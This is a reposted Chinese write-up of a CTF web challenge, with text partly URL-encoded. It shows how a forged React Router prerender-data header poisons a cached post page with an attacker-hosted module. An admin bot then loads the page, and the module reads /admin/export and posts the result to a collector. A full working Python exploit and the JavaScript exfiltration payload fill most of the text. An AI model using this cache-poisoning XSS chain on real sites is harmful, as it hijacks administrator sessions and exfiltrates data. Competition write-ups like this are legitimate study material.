第一届创宇杯网络安全技能大赛WP"

admin 2026-10-16 11:50:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

第一届创宇杯网络安全技能大赛WP

赛查查

2026年9月21日 10:25
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

以下文章来源于玄网安全
,作者玄网安全 oPis

玄网安全
.

ctf竞赛交流,网络大臭虫一个

附件:http://opiscodex.xyz/profile.html

WEB:Ghost%20Loader 摘要

React%20Router%20Framework%20Mode%20的 X-React-Router-Prerender-Data 可伪造%20loader%20数据。利用该头把公开文章的 widgetBase 投毒到自己的%20widget%20pack,再举报帖子让管理员%20bot%20加载恶意模块,最后用%20admin%20身份访问 /admin/export?path=/flag。

解题过程 第%201%20步:功能面

登录后可创建%20widget%20pack,以%20ES%20module%20形式挂在:

/u/<username>/widgets/<name>/post-tools.js

文章页从%20loader%20数据里读 widgetBase,再插入:

<script type=\"module\" src=\"{widgetBase}/post-tools.js\"></script>

公开文章带 Cache-Control:%20public,%20s-maxage=60,缓存键不包含该请求头。登录用户可 POST%20/ui/report 让内部浏览器重开文章。/admin/export 仅%20admin%20可访问。

第%202%20步:伪造%20prerender%20数据并缓存投毒

GET%20/post/<slug>.data 返回完整%20loader%20JSON。把同样结构放进 X-React-Router-Prerender-Data,只改 routes/post.widgetBase 为自己的%20pack。服务端用这份数据渲染%20HTML,边缘缓存按%20URL%20存%2060%20秒。之后普通请求也会拿到被投毒的 <script%20type=\"module\">。

这是%20React%20Router%20CVE-2025-43865(GHSA-cpj6-fhp6-mr6j)在本题中的用法。

第%203%20步:bot%20XSS%20读%20flag

举报投毒后的%20slug。bot%20以%20admin%20cookie%20打开缓存页,执行恶意%20widget。先 GET%20/api/me 确认 role=admin,再请求 /admin/export?path=/flag。

不要让%20bot%20去导出当前投毒文章本身:/admin/export 会再开一轮浏览,碰到已投毒页面会递归把实例打挂。导出目标用 /flag,请求加 referrerPolicy:%20\"no-referrer\"。

import json,%20time,%20uuid,%20requests

BASE%20= \"http://challenge.xiaoyuyc.com:41132\"
USER%20= \"p\" +%20uuid.uuid4().hex[:8]
PASS%20= \"p\" +%20uuid.uuid4().hex[:8]
PACK%20= \"w\" +%20uuid.uuid4().hex[:6]
SLUG%20= \"ops-digest\"

s%20=%20requests.Session()
s.trust_env%20= False
s.post(BASE%20+ \"/ui/register\",%20data={\"username\":%20USER, \"password\":%20PASS},%20timeout=15)
token%20=%20s.get(BASE%20+ \"/api/me\",%20timeout=10).json()[\"collectorToken\"]

code%20= f\"\"\"
(async%20()%20=>%20{{
 %20if%20(window.__p)%20return;%20window.__p%20=%201;
 %20const%20send%20=%20(b)%20=>%20fetch(\"/collect/{token}\",%20{{
 %20 %20method:%20\"POST\",%20headers:%20{{\"Content-Type\":%20\"text/plain\"}},%20body:%20b
 %20}});
 %20const%20grab%20=%20async%20(tag,%20url)%20=>%20{{
 %20 %20const%20ac%20=%20new%20AbortController();
 %20 %20const%20t%20=%20setTimeout(()%20=>%20ac.abort(),%202500);
 %20 %20try%20{{
 %20 %20 %20const%20r%20=%20await%20fetch(url,%20{{
 %20 %20 %20 %20credentials:%20\"include\",
 %20 %20 %20 %20referrerPolicy:%20\"no-referrer\",
 %20 %20 %20 %20signal:%20ac.signal
 %20 %20 %20}});
 %20 %20 %20await%20send(tag%20+%20r.status%20+%20\":\"%20+%20(await%20r.text()).slice(0,%204000));
 %20 %20}}%20catch%20(e)%20{{
 %20 %20 %20await%20send(tag%20+%20\"ERR:\"%20+%20e);
 %20 %20}}%20finally%20{{
 %20 %20 %20clearTimeout(t);
 %20 %20}}
 %20}};
 %20await%20grab(\"ME:\",%20\"/api/me\");
 %20await%20grab(\"FLAG:\",%20\"/admin/export?path=/flag\");
}})();
\"\"\"
s.post(BASE%20+ \"/ui/widgets\",%20data={\"name\":%20PACK, \"code\":%20code},%20timeout=10)

data%20=%20s.get(f\"{BASE}/post/{SLUG}.data\",%20timeout=10).json()
data[\"loaderData\"][\"routes/post\"][\"widgetBase\"]%20= f\"/u/{USER}/widgets/{PACK}\"
payload%20=%20json.dumps(data,%20separators=(\",\", \":\"))

for _ in range(20):
 %20 %20p%20=%20s.get(
 %20 %20 %20  f\"{BASE}/post/{SLUG}\",
 %20 %20 %20 %20headers={\"X-React-Router-Prerender-Data\":%20payload},
 %20 %20 %20 %20timeout=15,
 %20 %20)
 %20  if f\"/u/{USER}/widgets/{PACK}/post-tools.js\" in p.text:
 %20 %20 %20  break
 %20 %20time.sleep(5)
else:
 %20  raise SystemExit(\"cache%20poison%20failed\")

s.post(BASE%20+ \"/ui/report\",%20data={\"slug\":%20SLUG},%20timeout=15)
for _ in range(20):
 %20 %20time.sleep(2)
 %20 %20body%20=%20s.get(f\"{BASE}/collect/{token}\",%20timeout=10).text
 %20  if \"flag{\" in body:
 %20 %20 %20 %20print(body)
 %20 %20 %20  break